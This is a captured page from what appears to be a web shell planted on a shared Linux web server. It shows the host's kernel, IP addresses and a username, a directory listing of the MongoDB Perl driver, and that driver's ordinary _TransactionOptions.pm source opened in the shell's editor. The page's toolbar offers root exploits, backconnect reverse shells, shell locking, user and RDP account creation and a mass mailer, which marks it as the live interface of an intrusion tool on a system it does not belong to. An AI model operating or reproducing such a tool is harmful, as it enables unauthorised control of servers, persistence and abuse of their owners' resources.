Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
MongoDB /
[ HOME SHELL ]
Name
Size
Permission
Action
BSON
[ DIR ]
drwxr-xr-x
GridFSBucket
[ DIR ]
drwxr-xr-x
Op
[ DIR ]
drwxr-xr-x
QueryResult
[ DIR ]
drwxr-xr-x
Role
[ DIR ]
drwxr-xr-x
Upgrading
[ DIR ]
drwxr-xr-x
BulkWrite.pm
13.6
KB
-rw-r--r--
BulkWriteResult.pm
13.99
KB
-rw-r--r--
BulkWriteView.pm
8.19
KB
-rw-r--r--
ChangeStream.pm
10.71
KB
-rw-r--r--
ClientSession.pm
33.85
KB
-rw-r--r--
Code.pm
1.56
KB
-rw-r--r--
Collection.pm
105.71
KB
-rw-r--r--
CommandResult.pm
5.14
KB
-rw-r--r--
Cursor.pm
26.08
KB
-rw-r--r--
DBRef.pm
1.59
KB
-rw-r--r--
DataTypes.pod
12.78
KB
-rw-r--r--
Database.pm
28.5
KB
-rw-r--r--
DeleteResult.pm
2.41
KB
-rw-r--r--
Error.pm
18.86
KB
-rw-r--r--
Examples.pod
14.35
KB
-rw-r--r--
GridFSBucket.pm
27.45
KB
-rw-r--r--
IndexView.pm
19.83
KB
-rw-r--r--
InsertManyResult.pm
3.41
KB
-rw-r--r--
InsertOneResult.pm
2.32
KB
-rw-r--r--
MongoClient.pm
97.69
KB
-rw-r--r--
Monitoring.pod
7.29
KB
-rw-r--r--
OID.pm
2.17
KB
-rw-r--r--
QueryResult.pm
11.24
KB
-rw-r--r--
ReadConcern.pm
3.87
KB
-rw-r--r--
ReadPreference.pm
8.54
KB
-rw-r--r--
Timestamp.pm
1.6
KB
-rw-r--r--
Tutorial.pod
9.18
KB
-rw-r--r--
UnacknowledgedResult.pm
1.98
KB
-rw-r--r--
UpdateResult.pm
3.54
KB
-rw-r--r--
Upgrading.pod
12.18
KB
-rw-r--r--
WriteConcern.pm
5.05
KB
-rw-r--r--
_Constants.pm
2.87
KB
-rw-r--r--
_Credential.pm
13.58
KB
-rw-r--r--
_Dispatcher.pm
11.87
KB
-rw-r--r--
_Link.pm
18.18
KB
-rw-r--r--
_Platform.pm
897
B
-rw-r--r--
_Protocol.pm
23.46
KB
-rw-r--r--
_Server.pm
8.31
KB
-rw-r--r--
_ServerSession.pm
3.41
KB
-rw-r--r--
_SessionPool.pm
3.86
KB
-rw-r--r--
_Topology.pm
46.27
KB
-rw-r--r--
_TransactionOptions.pm
3.72
KB
-rw-r--r--
_Types.pm
7.11
KB
-rw-r--r--
_URI.pm
19.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _TransactionOptions.pm
# Copyright 2018 - present MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. use strict; use warnings; package MongoDB::_TransactionOptions; # MongoDB options for transactions use version; our $VERSION = 'v2.2.2'; use MongoDB::Error; use Moo; use MongoDB::ReadConcern; use MongoDB::WriteConcern; use MongoDB::ReadPreference; use MongoDB::_Types qw( MongoDBClient WriteConcern ReadConcern ReadPreference ); use Types::Standard qw( HashRef Any Maybe Int ); use namespace::clean -except => 'meta'; # Options provided during start transaction has options => ( is => 'ro', required => 1, isa => HashRef, ); # Options provided during start session has default_options => ( is => 'ro', required => 1, isa => HashRef, ); # needed for defaults has client => ( is => 'ro', required => 1, isa => MongoDBClient, ); has write_concern => ( # must error on start_transaction, so is built immediately is => 'ro', isa => WriteConcern, init_arg => undef, builder => '_build_write_concern', ); sub _build_write_concern { my $self = shift; my $options = $self->options->{writeConcern}; $options ||= $self->default_options->{writeConcern}; $options ||= {}; # Merge in client default to pass through forced undef wtimeout etc. $options = { $self->client->_write_concern_options, %$options, }; my $write_concern = MongoDB::WriteConcern->new( $options ); unless ( $write_concern->is_acknowledged ) { MongoDB::ConfigurationError->throw( 'transactions do not support unacknowledged write concerns' ); } return $write_concern; } has read_concern => ( is => 'lazy', isa => ReadConcern, init_arg => undef, builder => '_build_read_concern', ); # Read concern errors are returned by the database, so no need to check for # errors sub _build_read_concern { my $self = shift; my $options = $self->options->{readConcern}; $options ||= $self->default_options->{readConcern}; return MongoDB::ReadConcern->new( $options ) if defined $options; return $self->client->read_concern; } has read_preference => ( is => 'lazy', isa => ReadPreference, init_arg => undef, builder => '_build_read_preference', ); # Read preferences must be primary at present, so check after building it sub _build_read_preference { my $self = shift; my $options = $self->options->{readPreference}; $options ||= $self->default_options->{readPreference}; my $read_pref; $read_pref = MongoDB::ReadPreference->new( $options ) if defined $options; $read_pref ||= $self->client->read_preference; if ( $read_pref->mode ne 'primary' ) { MongoDB::ConfigurationError->throw( "read preference in a transaction must be primary" ); } return $read_pref; } has max_commit_time_ms => ( is => 'lazy', isa => Maybe[Int], init_arg => undef, builder => '_build_max_commit_time_ms', ); sub _build_max_commit_time_ms { my $self = shift; my ( $opts, $default_opts ) = ( $self->options, $self->default_options ); my $max_time_ms = $opts->{'maxCommitTimeMS'}; $max_time_ms ||= $default_opts->{'maxCommitTimeMS'}; return $max_time_ms; } 1;
Close